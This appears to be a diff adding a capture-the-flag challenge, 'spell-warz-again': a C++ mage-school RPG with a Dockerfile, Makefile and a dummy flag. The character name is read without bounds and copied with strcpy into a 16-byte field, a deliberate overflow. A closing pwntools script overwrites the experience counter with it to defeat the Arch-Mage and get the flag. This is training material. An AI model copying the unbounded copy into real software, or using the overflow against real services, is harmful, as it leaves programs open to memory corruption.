| @ -0,0 +1,13 @@ | |||
| FROM ubuntu:latest | |||
| RUN apt update && \ | |||
| apt install socat -y | |||
| WORKDIR /app | |||
| COPY ./flag.txt . | |||
| COPY ./spell-warz-again . | |||
| CMD socat tcp-listen:12345,reuseaddr,fork EXEC:\"./spell-warz-again\" | |||
| EXPOSE 12345/tcp | |||
| @ -0,0 +1,21 @@ | |||
| MIT License | |||
| Copyright (c) <year> <copyright holders> | |||
| Permission is hereby granted, free of charge, to any person obtaining a copy | |||
| of this software and associated documentation files (the "Software"), to deal | |||
| in the Software without restriction, including without limitation the rights | |||
| to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |||
| copies of the Software, and to permit persons to whom the Software is furnished | |||
| to do so, subject to the following conditions: | |||
| The above copyright notice and this permission notice (including the next | |||
| paragraph) shall be included in all copies or substantial portions of the | |||
| Software. | |||
| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |||
| IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS | |||
| FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS | |||
| OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, | |||
| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF | |||
| OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. | |||
| @ -0,0 +1,19 @@ | |||
| UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp | |||
| g++ -c lib/UserInterface.cpp -o UserInterface.o | |||
| BattleInterface.o: lib/BattleInterface.cpp lib/BattleInterface.hpp | |||
| g++ -c lib/BattleInterface.cpp -o BattleInterface.o | |||
| Spell.o: lib/Spell.cpp lib/Spell.hpp | |||
| g++ -c lib/Spell.cpp -o Spell.o | |||
| Character.o: lib/Character.cpp lib/Character.hpp | |||
| g++ -c lib/Character.cpp -o Character.o | |||
| spell-warz-again: Spell.o Character.o UserInterface.o BattleInterface.o main.cpp | |||
| g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o BattleInterface.o | |||
| clean: all | |||
| rm Spell.o Character.o UserInterface.o BattleInterface.o | |||
| all: spell-warz-again | |||
| @ -0,0 +1 @@ | |||
| slashroot{dummy} | |||
| @ -0,0 +1,108 @@ | |||
| #include "BattleInterface.hpp" | |||
| const int BattleInterface::maxTurn = 100; | |||
| BattleInterface::BattleInterface() | |||
| { | |||
| this->turn = -1; | |||
| this->player1 = nullptr; | |||
| this->player2 = nullptr; | |||
| this->winner = nullptr; | |||
| this->loser = nullptr; | |||
| } | |||
| BattleInterface::BattleInterface(Character *p1, Character *p2) | |||
| { | |||
| this->turn = 1; | |||
| this->player1 = p1; | |||
| this->player2 = p2; | |||
| this->winner = nullptr; | |||
| this->loser = nullptr; | |||
| } | |||
| void BattleInterface::battleStartAnnounce() | |||
| { | |||
| std::cout << " === BATTLE START === \n" | |||
| << " " << player1->getName() << "\n" | |||
| << " vs \n" | |||
| << " " << player2->getName() << "\n" | |||
| << " === ============ === \n" | |||
| << std::flush; | |||
| } | |||
| void BattleInterface::battleEndAnnouce() | |||
| { | |||
| std::cout << " === BATTLE END === \n" | |||
| << "winner: " << this->winner->getName() << "\n" | |||
| << std::flush; | |||
| } | |||
| Character *BattleInterface::getLoser() | |||
| { | |||
| return this->loser; | |||
| } | |||
| Character *BattleInterface::getWinner() | |||
| { | |||
| return this->winner; | |||
| } | |||
| void BattleInterface::start() | |||
| { | |||
| int choiceInt; | |||
| char buff[64] = {0}; | |||
| this->battleStartAnnounce(); | |||
| while ((player1->isAlive() && player2->isAlive()) && this->turn <= BattleInterface::maxTurn) | |||
| { | |||
| std::cout << "Turn " << this->turn << " of " << BattleInterface::maxTurn << "\n" | |||
| << "Your spell book:\n"; | |||
| for (size_t i = 0; i < Spell::Book.size() && i < (player1->getLevel()); i++) | |||
| { | |||
| std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n"; | |||
| } | |||
| std::cout << std::flush; | |||
| choiceInt = UserInterface::getNumber( | |||
| "What are you gonna cast this turn?\n>", 0, | |||
| player1->getLevel() > Spell::Book.size() ? Spell::Book.size() : player1->getLevel()); | |||
| if (player1->canCastSpell(&Spell::Book.at(choiceInt))) | |||
| { | |||
| player1->castSpell(&Spell::Book.at(choiceInt), player2); | |||
| snprintf(buff, 63, "%s cast %s...\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||
| UserInterface::print(buff); | |||
| memset(buff, 0, 64); | |||
| snprintf(buff, 63, "%s took %d damage...\n", player2->getName(), Spell::Book.at(choiceInt).getAmount()); | |||
| UserInterface::print(buff); | |||
| memset(buff, 0, 64); | |||
| } | |||
| else | |||
| { | |||
| snprintf(buff, 63, "%s failed to cast %s!\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||
| UserInterface::print(buff); | |||
| } | |||
| choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size())); | |||
| if (player2->canCastSpell(&Spell::Book.at(choiceInt))) | |||
| { | |||
| player2->castSpell(&Spell::Book.at(choiceInt), player1); | |||
| snprintf(buff, 63, "%s cast %s...\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||
| UserInterface::print(buff); | |||
| memset(buff, 0, 64); | |||
| snprintf(buff, 63, "%s took %d damage...\n", player1->getName(), Spell::Book.at(choiceInt).getAmount()); | |||
| UserInterface::print(buff); | |||
| memset(buff, 0, 64); | |||
| } | |||
| else | |||
| { | |||
| snprintf(buff, 63, "%s failed to cast %s!\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||
| UserInterface::print(buff); | |||
| } | |||
| this->turn++; | |||
| } | |||
| winner = (player1->isAlive() && (player1->getCurHP() >= player2->getCurHP())) ? player1 : player2; | |||
| loser = (winner == player1) ? player2 : player1; | |||
| this->battleEndAnnouce(); | |||
| } | |||
| @ -0,0 +1,35 @@ | |||
| #ifndef SPELL_WARZ_BATTLEINTERFACE_HPP | |||
| #define SPELL_WARZ_BATTLEINTERFACE_HPP 1 | |||
| #include <iostream> | |||
| #include <thread> | |||
| #include <chrono> | |||
| #include "Character.hpp" | |||
| #include "Spell.hpp" | |||
| #include "UserInterface.hpp" | |||
| class BattleInterface | |||
| { | |||
| protected: | |||
| static const int maxTurn; | |||
| int turn; | |||
| Character *player1; | |||
| Character *player2; | |||
| Character *winner; | |||
| Character *loser; | |||
| void battleStartAnnounce(); | |||
| void battleEndAnnouce(); | |||
| void clearBuff(); | |||
| public: | |||
| BattleInterface(); | |||
| BattleInterface(Character *p1, Character *p2); | |||
| void start(); | |||
| Character *getWinner(); | |||
| Character *getLoser(); | |||
| }; | |||
| #endif | |||
| @ -0,0 +1,216 @@ | |||
| #include "Character.hpp" | |||
| #include <cstring> | |||
| const int Character::maxLevel = 0xffff; | |||
| const int Character::maxExperience = 0x0fffffff; | |||
| Character::Character() | |||
| { | |||
| this->level = 1; | |||
| this->experience = 0; | |||
| this->maxHP = 10; | |||
| this->curHP = maxHP; | |||
| this->maxMP = 5; | |||
| this->curMP = maxMP; | |||
| this->atk = 1; | |||
| this->def = 1; | |||
| memset(this->name, 0, 16); | |||
| } | |||
| Character::Character(char *n) : Character::Character() | |||
| { | |||
| strcpy(this->name, n); | |||
| this->name[15] = 0; | |||
| } | |||
| Character::Character(const char *n) : Character::Character() | |||
| { | |||
| strcpy(this->name, n); | |||
| this->name[15] = 0; | |||
| } | |||
| Character::Character(char *n, int l, int e, int h, int m, int a, int d) | |||
| { | |||
| strcpy(this->name, n); | |||
| this->name[15] = 0; | |||
| this->level = l; | |||
| this->experience = e; | |||
| this->maxHP = h; | |||
| this->curHP = maxHP; | |||
| this->maxMP = m; | |||
| this->curMP = maxMP; | |||
| this->atk = a; | |||
| this->def = d; | |||
| } | |||
| Character::Character(const char *n, int l, int e, int h, int m, int a, int d) | |||
| { | |||
| strcpy(this->name, n); | |||
| this->name[15] = 0; | |||
| this->level = l; | |||
| this->experience = e; | |||
| this->maxHP = h; | |||
| this->curHP = maxHP; | |||
| this->maxMP = m; | |||
| this->curMP = maxMP; | |||
| this->atk = a; | |||
| this->def = d; | |||
| } | |||
| char *Character::getName() | |||
| { | |||
| return this->name; | |||
| } | |||
| int Character::getLevel() | |||
| { | |||
| if (this->level > Character::maxLevel) | |||
| { | |||
| exit(-1); | |||
| } | |||
| return this->level; | |||
| } | |||
| int Character::getExperience() | |||
| { | |||
| if (this->experience > Character::maxExperience) | |||
| { | |||
| exit(-1); | |||
| } | |||
| return this->experience; | |||
| } | |||
| int Character::getMaxHP() | |||
| { | |||
| return this->maxHP; | |||
| } | |||
| int Character::getCurHP() | |||
| { | |||
| if (this->curHP > this->maxHP) | |||
| { | |||
| exit(-1); | |||
| } | |||
| return this->curHP; | |||
| } | |||
| int Character::getMaxMP() | |||
| { | |||
| return this->maxMP; | |||
| } | |||
| int Character::getCurMP() | |||
| { | |||
| if (this->curMP > this->maxMP) | |||
| { | |||
| exit(-1); | |||
| } | |||
| return this->curMP; | |||
| } | |||
| int Character::getAtk() | |||
| { | |||
| return this->atk; | |||
| } | |||
| int Character::getDef() | |||
| { | |||
| return this->def; | |||
| } | |||
| void Character::levelUp() | |||
| { | |||
| if ((this->level <= maxLevel) && this->readytoLevelUp()) | |||
| { | |||
| this->experience -= this->toNextLevel(); | |||
| this->level++; | |||
| this->maxHP += 10; | |||
| this->maxMP += 5; | |||
| this->curHP = this->maxHP; | |||
| this->curMP = this->maxMP; | |||
| } | |||
| } | |||
| void Character::restoreHP(int n) | |||
| { | |||
| this->curHP += n; | |||
| if (this->curHP > this->maxHP) | |||
| { | |||
| this->curHP = this->maxHP; | |||
| } | |||
| } | |||
| void Character::restoreMP(int n) | |||
| { | |||
| this->curMP += n; | |||
| if (this->curMP > this->maxMP) | |||
| { | |||
| this->curMP = this->maxMP; | |||
| } | |||
| } | |||
| void Character::reduceHP(int n) | |||
| { | |||
| this->curHP -= n; | |||
| } | |||
| void Character::reduceMP(int n) | |||
| { | |||
| this->curMP -= n; | |||
| } | |||
| bool Character::isAlive() | |||
| { | |||
| return this->curHP > 0; | |||
| } | |||
| int Character::toNextLevel() | |||
| { | |||
| return (this->level + 1) * (this->level + 1); | |||
| } | |||
| bool Character::readytoLevelUp() | |||
| { | |||
| return (this->toNextLevel() <= this->experience); | |||
| } | |||
| void Character::increaseExperience(int n) | |||
| { | |||
| this->experience += n; | |||
| if (this->experience > maxExperience) | |||
| { | |||
| this->experience = maxExperience; | |||
| } | |||
| while (this->readytoLevelUp()) | |||
| { | |||
| this->levelUp(); | |||
| } | |||
| } | |||
| bool Character::canCastSpell(Spell *s) | |||
| { | |||
| return this->curMP >= s->getCost(); | |||
| } | |||
| void Character::castSpell(Spell *s, Character *t) | |||
| { | |||
| this->reduceMP(s->getCost()); | |||
| t->reduceHP(s->getAmount()); | |||
| } | |||
| void Character::rest() | |||
| { | |||
| this->curHP = this->maxHP; | |||
| this->curMP = this->maxMP; | |||
| } | |||
| void Character::kill() | |||
| { | |||
| this->curHP = 0; | |||
| } | |||
| void Character::revive() | |||
| { | |||
| if (this->curHP <= 0) | |||
| { | |||
| this->curHP = 1; | |||
| } | |||
| } | |||
| @ -0,0 +1,59 @@ | |||
| #ifndef SPELL_WARZ_CHARACTER_HPP | |||
| #define SPELL_WARZ_CHARACTER_HPP 1 | |||
| #include <vector> | |||
| #include "Spell.hpp" | |||
| class Character | |||
| { | |||
| protected: | |||
| static const int maxLevel; | |||
| static const int maxExperience; | |||
| char name[16]; | |||
| int experience; | |||
| int level; | |||
| int atk; | |||
| int def; | |||
| int curHP; | |||
| int curMP; | |||
| int maxHP; | |||
| int maxMP; | |||
| void restoreHP(int); | |||
| void restoreMP(int); | |||
| void reduceHP(int); | |||
| void reduceMP(int); | |||
| public: | |||
| Character(); | |||
| Character(char *name); | |||
| Character(const char *name); | |||
| Character(char *name, int level, int exp, int hp, int mp, int atk, int def); | |||
| Character(const char *name, int level, int exp, int hp, int mp, int atk, int def); | |||
| void castSpell(Spell *src, Character *dst); | |||
| bool canCastSpell(Spell *src); | |||
| char *getName(); | |||
| int getLevel(); | |||
| int getExperience(); | |||
| int getMaxHP(); | |||
| int getCurHP(); | |||
| int getMaxMP(); | |||
| int getCurMP(); | |||
| int getAtk(); | |||
| int getDef(); | |||
| int toNextLevel(); | |||
| bool readytoLevelUp(); | |||
| bool isAlive(); | |||
| void levelUp(); | |||
| void kill(); | |||
| void rest(); | |||
| void revive(); | |||
| void increaseExperience(int n); | |||
| }; | |||
| #endif | |||
| @ -0,0 +1,42 @@ | |||
| #include "Spell.hpp" | |||
| Spell::Spell(std::string n, int t, int a, int c) | |||
| { | |||
| this->name = std::string(n); | |||
| this->type = t; | |||
| this->amount = a; | |||
| this->cost = c; | |||
| } | |||
| int Spell::getType() | |||
| { | |||
| return this->type; | |||
| } | |||
| int Spell::getAmount() | |||
| { | |||
| return this->amount; | |||
| } | |||
| int Spell::getCost() | |||
| { | |||
| return this->cost; | |||
| } | |||
| std::string Spell::getName() | |||
| { | |||
| return this->name; | |||
| } | |||
| std::vector<Spell> Spell::Book = { | |||
| Spell("Napalm Beat", 1, 4, 1), | |||
| Spell("Fire Ball", 1, 6, 2), | |||
| Spell("Cold Bolt", 1, 8, 3), | |||
| Spell("Stone curse", 1, 10, 4), | |||
| Spell("Lightning Bolt", 1, 12, 5), | |||
| Spell("Soul Strike", 1, 14, 6), | |||
| Spell("Fire Wall", 1, 16, 7), | |||
| Spell("Frost Diver", 1, 18, 8), | |||
| Spell("Lighting Storm", 1, 20, 9), | |||
| Spell("Asura's Strike", 1, 50, 10), | |||
| }; | |||
| @ -0,0 +1,28 @@ | |||
| #ifndef SPELL_WARZ_SPELL_CPP | |||
| #define SPELL_WARZ_SPELL_CPP 1 | |||
| #include <vector> | |||
| #include <string> | |||
| class Spell | |||
| { | |||
| protected: | |||
| std::string name; | |||
| int type; | |||
| int amount; | |||
| int cost; | |||
| public: | |||
| int TYPE_RESTORATION = 0; | |||
| int TYPE_DESTRUCTION = 1; | |||
| static std::vector<Spell> Book; | |||
| Spell(std::string, int, int, int); | |||
| int getType(); | |||
| int getAmount(); | |||
| int getCost(); | |||
| std::string getName(); | |||
| }; | |||
| #endif | |||
| @ -0,0 +1,226 @@ | |||
| #include "UserInterface.hpp" | |||
| const int UserInterface::interval = 500; // in ms | |||
| const int UserInterface::miniInterval = 50; // in ms | |||
| const int UserInterface::maxDay = 28; | |||
| const int UserInterface::maxMonth = 12; | |||
| const int UserInterface::maxYear = 100; | |||
| int UserInterface::day = 1; | |||
| int UserInterface::month = 1; | |||
| int UserInterface::year = 90; | |||
| bool UserInterface::gameOver = false; | |||
| std::vector<std::string> UserInterface::dayName = { | |||
| "Morndas", | |||
| "Tirdas", | |||
| "Middas", | |||
| "Turdas", | |||
| "Fredas", | |||
| "Loredas", | |||
| "Sundas", | |||
| }; | |||
| std::vector<std::string> UserInterface::monthName = { | |||
| "Morning Star", | |||
| "Sun's Dawn", | |||
| "First Seed", | |||
| "Rain's Hand", | |||
| "Second Seed", | |||
| "Mid Year", | |||
| "Sun's Height", | |||
| "Last Seed", | |||
| "Hearthfire", | |||
| "Frostfall", | |||
| "Sun's Dusk", | |||
| "Evening Star", | |||
| }; | |||
| void UserInterface::print(std::string msg) | |||
| { | |||
| std::cout << msg << std::flush; | |||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||
| } | |||
| void UserInterface::print(char *msg) | |||
| { | |||
| std::cout << msg << std::flush; | |||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||
| } | |||
| void UserInterface::print(const char *msg) | |||
| { | |||
| std::cout << msg << std::flush; | |||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||
| } | |||
| void UserInterface::printByChar(const char *msg) | |||
| { | |||
| int len = strlen(msg); | |||
| for (size_t i = 0; i < len; i++) | |||
| { | |||
| std::cout << msg[i] << std::flush; | |||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::miniInterval)); | |||
| } | |||
| } | |||
| void UserInterface::welcomeMessage() | |||
| { | |||
| std::cout << "+++++++++++++++++++++++++++++++++++\n" | |||
| << "+ Welcome to Spell-Warz-Again !!! +\n" | |||
| << "+++++++++++++++++++++++++++++++++++\n" | |||
| << std::flush; | |||
| } | |||
| Character *UserInterface::characterCreation() | |||
| { | |||
| char buffer[128] = {0}; | |||
| char choice = 0; | |||
| int i; | |||
| short b; | |||
| while (choice != 'y' && choice != 'Y') | |||
| { | |||
| std::cout << "Who should we call you?\n" | |||
| << ">" << std::flush; | |||
| std::cin >> buffer; | |||
| std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n" | |||
| << ">"; | |||
| std::cin >> choice; | |||
| } | |||
| return new Character(buffer); | |||
| } | |||
| void UserInterface::epilogue() | |||
| { | |||
| UserInterface::printByChar( | |||
| "You are just a young mage in a mage school,\n" | |||
| "When you witnessed your arch-mage got defeated by your senior...\n" | |||
| "He was mumbling about some flag inside a scroll,\n" | |||
| "he also mentioned something about a competition called CTF...\n" | |||
| "You thought to yourself: \"What the f*ck is a CTF?\"\n" | |||
| "Nevertheless, you want that scroll, you want that flag!\n" | |||
| "Defeat the new arch-mage that was once your senior to get a glimpse of that scroll!\n" | |||
| "Note: You need to do this in 10 year of in-game, otherwise you would graduate first...\n"); | |||
| } | |||
| std::string UserInterface::dateString() | |||
| { | |||
| char date[5] = {0}; | |||
| if (UserInterface::day < 21) | |||
| { | |||
| switch (UserInterface::day) | |||
| { | |||
| case 1: | |||
| sprintf(date, "1st"); | |||
| break; | |||
| case 2: | |||
| sprintf(date, "2nd"); | |||
| break; | |||
| case 3: | |||
| sprintf(date, "3rd"); | |||
| break; | |||
| default: | |||
| sprintf(date, "%dth", UserInterface::day); | |||
| break; | |||
| } | |||
| } | |||
| else | |||
| { | |||
| switch (UserInterface::day % 10) | |||
| { | |||
| case 1: | |||
| sprintf(date, "%dst", UserInterface::day); | |||
| break; | |||
| case 2: | |||
| sprintf(date, "%dnd", UserInterface::day); | |||
| break; | |||
| case 3: | |||
| sprintf(date, "%drd", UserInterface::day); | |||
| break; | |||
| default: | |||
| sprintf(date, "%dth", UserInterface::day); | |||
| break; | |||
| } | |||
| } | |||
| return std::string( | |||
| UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " + | |||
| date + " of " + UserInterface::monthName.at(UserInterface::month - 1) + | |||
| ", Year " + std::to_string(UserInterface::year)); | |||
| } | |||
| void UserInterface::menu() | |||
| { | |||
| std::cout << "=======================================\n" | |||
| << UserInterface::dateString() << "\n" | |||
| << "=======================================\n" | |||
| << "Available action:\n" | |||
| << "[1] Take a rest\n" | |||
| << "[2] Practice magic\n" | |||
| << "[3] Spar against classmate\n" | |||
| << "[4] Challenge the new Arch-Mage\n" | |||
| << "[5] Gather info about the new Arch-Mage\n" | |||
| << "[6] Meditate to your inner-self\n" | |||
| << "[0] Commit sudoku\n" | |||
| << std::flush; | |||
| } | |||
| void UserInterface::enemiesInfo(std::vector<Character *> &enemies) | |||
| { | |||
| for (int i = 0; i < enemies.size(); i++) | |||
| { | |||
| std::cout << "[" << i << "] " << enemies.at(i)->getName() << " (Lv." << enemies.at(i)->getLevel() << ")\n"; | |||
| } | |||
| std::cout << std::flush; | |||
| } | |||
| int UserInterface::getNumber(std::string msg, int min, int max) | |||
| { | |||
| int buffer = max + 1; | |||
| do | |||
| { | |||
| std::cout << msg << std::flush; | |||
| if (std::cin.failbit || std::cin.eofbit) | |||
| { | |||
| std::cin.clear(); | |||
| std::cin.ignore(1); | |||
| } | |||
| } while (std::cin >> buffer && !(buffer <= max && buffer >= min)); | |||
| return buffer; | |||
| } | |||
| void UserInterface::nextDay() | |||
| { | |||
| if (UserInterface::day++ >= UserInterface::maxDay) | |||
| { | |||
| day = 1; | |||
| if (UserInterface::month++ >= UserInterface::maxMonth) | |||
| { | |||
| month = 1; | |||
| if (UserInterface::year++ >= UserInterface::maxYear) | |||
| { | |||
| UserInterface::gameOver = true; | |||
| } | |||
| } | |||
| } | |||
| } | |||
| bool UserInterface::isGameOver() | |||
| { | |||
| return gameOver; | |||
| } | |||
| void UserInterface::characterInfo(Character *c) | |||
| { | |||
| std::cout << "++++++++++++++++++++++++" | |||
| << "\nName: " << c->getName() | |||
| << "\n HP: " << c->getCurHP() << "/" << c->getMaxHP() | |||
| << "\n MP: " << c->getCurMP() << "/" << c->getMaxMP() | |||
| << "\n Lv: " << c->getLevel() | |||
| << "\n Xp: " << c->getExperience() | |||
| << "\n next: " << c->toNextLevel() | |||
| << "\n++++++++++++++++++++++++" << std::endl; | |||
| } | |||
| @ -0,0 +1,53 @@ | |||
| #ifndef SPELL_WARZ_USER_INTERFACE_HPP | |||
| #define SPELL_WARZ_USER_INTERFACE_HPP 1 | |||
| #include <iostream> | |||
| #include <thread> | |||
| #include <chrono> | |||
| #include <string> | |||
| #include <cstring> | |||
| #include "Character.hpp" | |||
| #include "Spell.hpp" | |||
| class UserInterface | |||
| { | |||
| protected: | |||
| static const int interval; // in ms | |||
| static const int miniInterval; // in ms | |||
| static const int maxDay; | |||
| static const int maxMonth; | |||
| static const int maxYear; | |||
| static std::vector<std::string> dayName; | |||
| static std::vector<std::string> monthName; | |||
| static int day; | |||
| static int month; | |||
| static int year; | |||
| static bool gameOver; | |||
| public: | |||
| static void print(std::string); | |||
| static void print(const char *); | |||
| static void print(char *); | |||
| static void printByChar(std::string); | |||
| static void printByChar(const char *); | |||
| static void printByChar(char *); | |||
| static void welcomeMessage(); | |||
| static void epilogue(); | |||
| static void menu(); | |||
| static void nextDay(); | |||
| static void characterInfo(Character *); | |||
| static void enemiesInfo(std::vector<Character *> &); | |||
| static std::string dateString(); | |||
| static int getNumber(std::string, int, int); | |||
| static Character *characterCreation(); | |||
| static bool isGameOver(); | |||
| }; | |||
| #endif | |||
| @ -0,0 +1,150 @@ | |||
| #include <iostream> | |||
| #include <fstream> | |||
| #include <thread> | |||
| #include <chrono> | |||
| #include <random> | |||
| #include <fstream> | |||
| #include <unistd.h> | |||
| #include "lib/Character.hpp" | |||
| #include "lib/Spell.hpp" | |||
| #include "lib/UserInterface.hpp" | |||
| #include "lib/BattleInterface.hpp" | |||
| std::string loadFlag() | |||
| { | |||
| std::string flagString; | |||
| std::ifstream flagFile("flag.txt"); | |||
| flagFile >> flagString; | |||
| flagFile.close(); | |||
| return flagString; | |||
| } | |||
| int main() | |||
| { | |||
| std::string flag; | |||
| Character *player; | |||
| Character *archMage; | |||
| Character *enemy; | |||
| BattleInterface battle; | |||
| std::vector<Character *> enemies; | |||
| flag = loadFlag(); | |||
| srand(time(0)); | |||
| alarm(600); | |||
| UserInterface::welcomeMessage(); | |||
| UserInterface::epilogue(); | |||
| player = UserInterface::characterCreation(); | |||
| archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1); | |||
| enemies = { | |||
| new Character("Abby", 1, 1, 10, 5, 1, 1), | |||
| new Character("John", 2, 3, 20, 10, 1, 1), | |||
| new Character("Adam", 3, 7, 40, 25, 1, 1), | |||
| new Character("Christo", 4, 11, 80, 40, 1, 1), | |||
| new Character("Greg", 5, 16, 160, 80, 1, 1), | |||
| }; | |||
| while (player->isAlive() && !UserInterface::isGameOver()) | |||
| { | |||
| int choiceInt = -1; | |||
| char choiceChar = -1; | |||
| UserInterface::menu(); | |||
| choiceInt = UserInterface::getNumber( | |||
| "What are you gonna do today?\n>", | |||
| 0, 6); | |||
| switch (choiceInt) | |||
| { | |||
| case 0: | |||
| UserInterface::print("You commit sudoku...\n"); | |||
| UserInterface::print("Was it supposed to be seppuku?\n"); | |||
| UserInterface::print("Nevermind, you killed yourself.\n"); | |||
| player->kill(); | |||
| break; | |||
| case 1: | |||
| UserInterface::print("You spend the whole day sleeping...\n"); | |||
| UserInterface::print("HP and MP restored.\n"); | |||
| player->rest(); | |||
| break; | |||
| case 2: | |||
| UserInterface::print("You practice your magic in the yard...\n"); | |||
| UserInterface::print("You gained some experience.\n"); | |||
| player->increaseExperience((random() % player->getLevel()) + 1); | |||
| break; | |||
| case 3: | |||
| UserInterface::print("List of your classmates:\n"); | |||
| UserInterface::enemiesInfo(enemies); | |||
| choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); | |||
| UserInterface::print("You are going to spar with:\n"); | |||
| UserInterface::characterInfo(enemies.at(choiceInt)); | |||
| UserInterface::print("Are you sure? (y/N)\n>"); | |||
| std::cin >> choiceChar; | |||
| if (choiceChar == 'y' || choiceChar == 'Y') | |||
| { | |||
| enemy = new Character(*enemies.at(choiceInt)); | |||
| battle = BattleInterface(player, enemy); | |||
| battle.start(); | |||
| if (battle.getWinner() == player) | |||
| { | |||
| UserInterface::print("You win, you get more experience...\n"); | |||
| player->increaseExperience(enemies.at(choiceInt)->getLevel()); | |||
| } | |||
| else | |||
| { | |||
| UserInterface::print("You lose, but you still get some experience...\n"); | |||
| player->revive(); | |||
| player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2); | |||
| } | |||
| delete enemy; | |||
| } | |||
| else | |||
| { | |||
| UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||
| player->rest(); | |||
| } | |||
| break; | |||
| case 4: | |||
| UserInterface::print("You are going to challenge the Arch-Mage...\n"); | |||
| UserInterface::print("Are you sure? (y/N)\n>"); | |||
| std::cin >> choiceChar; | |||
| if (choiceChar == 'y' || choiceChar == 'Y') | |||
| { | |||
| battle = BattleInterface(player, archMage); | |||
| battle.start(); | |||
| if (battle.getWinner() == player) | |||
| { | |||
| UserInterface::print("You win, you get more experience...\n"); | |||
| player->increaseExperience(enemies.at(choiceInt)->getLevel()); | |||
| UserInterface::print("You win against the Arch-Mage!\n"); | |||
| UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); | |||
| UserInterface::print("Turns out the content is just some meaningless word...\n"); | |||
| UserInterface::print("Here is the content:\n"); | |||
| UserInterface::print(flag + "\n"); | |||
| } | |||
| else | |||
| { | |||
| UserInterface::print("You lose...\n"); | |||
| UserInterface::print("Sadly his spell was to powerful,\n"); | |||
| UserInterface::print("You got killed by the arch-mage...\n"); | |||
| } | |||
| } | |||
| else | |||
| { | |||
| UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||
| player->rest(); | |||
| } | |||
| break; | |||
| case 5: | |||
| UserInterface::print("You found some info about the arch-mage:\n"); | |||
| UserInterface::characterInfo(archMage); | |||
| break; | |||
| case 6: | |||
| UserInterface::print("You meditate and got some insight to your ability:\n"); | |||
| UserInterface::characterInfo(player); | |||
| break; | |||
| } | |||
| UserInterface::nextDay(); | |||
| } | |||
| } | |||
| @ -0,0 +1,18 @@ | |||
| from pwn import * | |||
| if __name__ == "__main__": | |||
| p = process("./main") | |||
| print p.recvuntil(">") | |||
| p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) | |||
| print p.recvuntil(">") | |||
| p.sendline("y") | |||
| print p.recvuntil(">") | |||
| p.sendline("2") | |||
| print p.recvuntil(">") | |||
| p.sendline("4") | |||
| print p.recvuntil(">") | |||
| p.sendline("y") | |||
| for i in xrange(99): | |||
| print p.recvuntil(">") | |||
| p.sendline("9") | |||
| p.interactive() | |||